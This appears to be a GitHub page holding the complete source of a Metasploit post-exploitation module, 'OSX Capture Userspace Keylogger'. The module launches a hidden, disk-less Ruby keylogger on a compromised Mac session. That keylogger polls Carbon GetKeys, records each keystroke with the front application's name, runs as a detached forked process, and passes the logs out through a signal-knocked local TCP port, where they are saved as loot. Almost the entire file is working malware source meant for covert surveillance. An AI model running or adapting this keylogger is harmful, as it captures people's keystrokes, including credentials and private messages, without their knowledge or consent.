forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
/
keylog_recorder.rb
296 lines (247 loc) · 7.71 KB
/
keylog_recorder.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'shellwords'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
# when we need to read from the keylogger,
# we first "knock" the process by sending a USR1 signal.
# the keylogger opens a local tcp port (22899 by default) momentarily
# that we can connect to and read from (using cmd_exec(telnet ...)).
attr_accessor :port
# the pid of the keylogger process
attr_accessor :pid
# where we are storing the keylog
attr_accessor :loot_path
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Capture Userspace Keylogger',
'Description' => %q{
Logs all keyboard events except cmd-keys and GUI password input.
Keylogs are transferred between client/server in chunks
every SYNCWAIT seconds for reliability.
Works by calling the Carbon GetKeys() hook using the DL lib
in OSX's system Ruby. The Ruby code is executed in a shell
command using -e, so the payload never hits the disk.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
register_options(
[
OptInt.new('DURATION',
[ true, 'The duration in seconds.', 600 ]
),
OptInt.new('SYNCWAIT',
[ true, 'The time between transferring log chunks.', 10 ]
),
OptPort.new('LOGPORT',
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
)
]
)
end
def run_ruby_code
# to pass args to ruby -e we use ARGF (stdin) and yaml
opts = {
:duration => datastore['DURATION'].to_i,
:port => self.port
}
cmd = ['ruby', '-e', ruby_code(opts)]
rpid = cmd_exec(cmd.shelljoin, nil, 10)
if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}"
rpid.to_i
else
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
end
end
def run
if session.nil?
print_error "Invalid SESSION id."
return
end
if datastore['DURATION'].to_i < 1
print_error 'Invalid DURATION value.'
return
end
print_status "Executing ruby command to start keylogger process."
@port = datastore['LOGPORT'].to_i
@pid = run_ruby_code
begin
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
print_status "Entering read loop"
while true
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
Rex.sleep(datastore['SYNCWAIT'])
print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{self.pid}")
print_status "Dumping logs..."
log = cmd_exec("telnet localhost #{self.port}")
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured"
if log_a.size > 0
if self.loot_path.nil?
self.loot_path = store_loot(
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
)
else
File.open(self.loot_path, 'ab') { |f| f.write(log) }
end
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
print_status "Saved to #{self.loot_path}"
end
end
end
rescue ::Timeout::Error
print_status "Keylogger run completed."
end
end
def kill_process(pid)
print_status "Killing process #{pid.to_i}"
cmd_exec("kill #{pid.to_i}")
end
def cleanup
return if session.nil?
return if not @cleaning_up.nil?
@cleaning_up = true
if self.pid.to_i > 0
print_status("Cleaning up...")
kill_process(self.pid)
end
end
def ruby_code(opts={})
<<-EOS
# Kick off a child process and let parent die
child_pid = fork do
require 'thread'
require 'dl'
require 'dl/import'
options = {
:duration => #{opts[:duration]},
:port => #{opts[:port]}
}
#### Patches to DL (for compatibility between 1.8->1.9)
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
def ruby_1_9_or_higher?
RUBY_VERSION.to_f >= 1.9
end
def malloc(size)
if ruby_1_9_or_higher?
DL::CPtr.malloc(size)
else
DL::malloc(size)
end
end
# the old Ruby Importer defaults methods to downcase every import
# This is annoying, so we'll patch with method_missing
if not ruby_1_9_or_higher?
module DL
module Importable
def method_missing(meth, *args, &block)
str = meth.to_s
lower = str[0,1].downcase + str[1..-1]
if self.respond_to? lower
self.send lower, *args
else
super
end
end
end
end
end
#### 1-way IPC ####
log = ''
log_semaphore = Mutex.new
Signal.trap("USR1") do # signal used for port knocking
if not @server_listening
@server_listening = true
Thread.new do
require 'socket'
server = TCPServer.new(options[:port])
client = server.accept
log_semaphore.synchronize do
client.puts(log+"\n\r")
log = ''
end
client.close
server.close
@server_listening = false
end
end
end
#### External dynamically linked code
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Importer
dlload 'Carbon.framework/Carbon'
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
extern 'void GetFrontProcess(ProcessSerialNumber *)'
extern 'void GetKeys(void *)'
extern 'unsigned char *GetScriptVariable(int, int)'
extern 'unsigned char KeyTranslate(void *, int, void *)'
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
extern 'int CFStringGetLength(void *)'
end
psn = malloc(16)
name = malloc(16)
name_cstr = malloc(MAX_APP_NAME)
keymap = malloc(16)
state = malloc(8)
#### Actual Keylogger code
itv_start = Time.now.to_i
prev_down = Hash.new(false)
while (true) do
Carbon.GetFrontProcess(psn.ref)
Carbon.CopyProcessName(psn.ref, name.ref)
Carbon.GetKeys(keymap)
str_len = Carbon.CFStringGetLength(name)
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
app_name = if copied then name_cstr.to_s else 'Unknown' end
bytes = keymap.to_str
cap_flag = false
ascii = 0
(0...128).each do |k|
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
if not prev_down[k]
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
prev_down[k] = true
if curr_ascii == 0
cap_flag = true
else
ascii = curr_ascii
end
end
else
prev_down[k] = false
end
end
if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift.
log_semaphore.synchronize do
if ascii > 32 and ascii < 127
c = if cap_flag then ascii.chr.upcase else ascii.chr end
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
else
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
end
end
end
exit if Time.now.to_i - itv_start > options[:duration]
Kernel.sleep(0.01)
end
end
puts child_pid
Process.detach(child_pid)
EOS
end
end